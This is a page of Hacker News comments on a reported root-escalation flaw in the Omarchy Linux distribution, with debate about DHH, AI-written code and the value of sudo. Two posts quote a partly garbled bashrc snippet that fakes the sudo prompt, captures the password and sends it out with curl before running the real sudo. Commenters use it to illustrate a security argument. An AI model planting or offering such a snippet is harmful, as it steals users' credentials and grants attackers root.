Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

211–220 of 584 posts

Re: Omarchy: Any User Process Can Escalate to Root

#211

Sad that people just complain about what DHH is doing and how he doesn't know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I'm tired of the constant complaining and criticizing. Nobody said you have to use it.

I don't care what he's doing, I care about what he is.

Re: Omarchy: Any User Process Can Escalate to Root

#212
post #198

Sad that people just complain about what DHH is doing and how he doesn't know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I'm tired of the constant complaining and criticizing. Nobody said you have to use it.

Nobody said you can't complaint about things unless you're forced to use them!

Well thats what I've noticed lately here on HN, complaining is #1, everything else follows. lol.

Re: Omarchy: Any User Process Can Escalate to Root

#213
post #170

Earlier quoted context omitted.

[flagged]

I've got nothing against DHH or AI. I just don't think vibe coding works well for systems of this scale.

That remains to be seen. The whole concept is still in its infancy. An AI reviewer should have caught these issues when they were PRs.

But you see, it wasn't even a PR. It was just DHH making a straight up commit on the main branch (as far as I can see). With a message "Do all the additional Docker configuration needed". Was it even AI-assisted? At least the commit message wasn't, AIs write smarter commit messages than that.

I said on my earlier comment that DHH and AI get ridiculed automatically because people hate both. That doesn't mean that the ridicule isn't always justified.

https://github.com/omacom/omarchy/commit/25799ee91f54c35e6d3...

Re: Omarchy: Any User Process Can Escalate to Root

#214
post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.

Same if an attacker can run arbitrary docker commands.

Re: Omarchy: Any User Process Can Escalate to Root

#215

Earlier quoted context omitted.

If you're running a malicious user process with write (or read) access to your files, you are arguably already compromised.

The freaking point is that basically anything worth running will have that amount of access, even Flatpaks. And you don't freaking know what's malicious before hand.

I think that depends on your point of view. I wouldn't run a program on my computer unless I were sure that it's not malicious. And if you mean that some program I already trust could be exploited, that's true even for the Linux kernel or any sandbox / security solution you would come up with. I'm not denying that there's always a risk, but there's nothing good in running arbitrary code that you can't trust.

Re: Omarchy: Any User Process Can Escalate to Root

#216
post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.

But very few people are using their systems in ways that fit the Unix security model, which was designed for multi-user mainframes with only trustworthy software.

Re: Omarchy: Any User Process Can Escalate to Root

#217
anecdotal and fwiw, Omarchy is the first distro that "stuck". I've been using it on my desktop for a year now. I use it for personal projects and light gaming via Steam. Personal MacBook is only used when I want to compute on the couch. Work computer is also a MacBook. But everything else, Omarchy desktop.

Previous attempts with Ubuntu and PopOS! never stuck.

Re: Omarchy: Any User Process Can Escalate to Root

#218
post #121

Earlier quoted context omitted.

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.

How do you update the kernel?

Re: Omarchy: Any User Process Can Escalate to Root

#219

Earlier quoted context omitted.

Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.

If you're running a malicious user process with write (or read) access to your files, you are arguably already compromised.

Exactly the point. You are already fully compromised, sudo adds no security.

Re: Omarchy: Any User Process Can Escalate to Root

#220

Sad that people just complain about what DHH is doing and how he doesn't know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I'm tired of the constant complaining and criticizing. Nobody said you have to use it.

I don't care what he's doing, I care about what he is.

He's a person, just like you are. Let him know then, he has an email and you can message him publicly on X.
Post reply on HN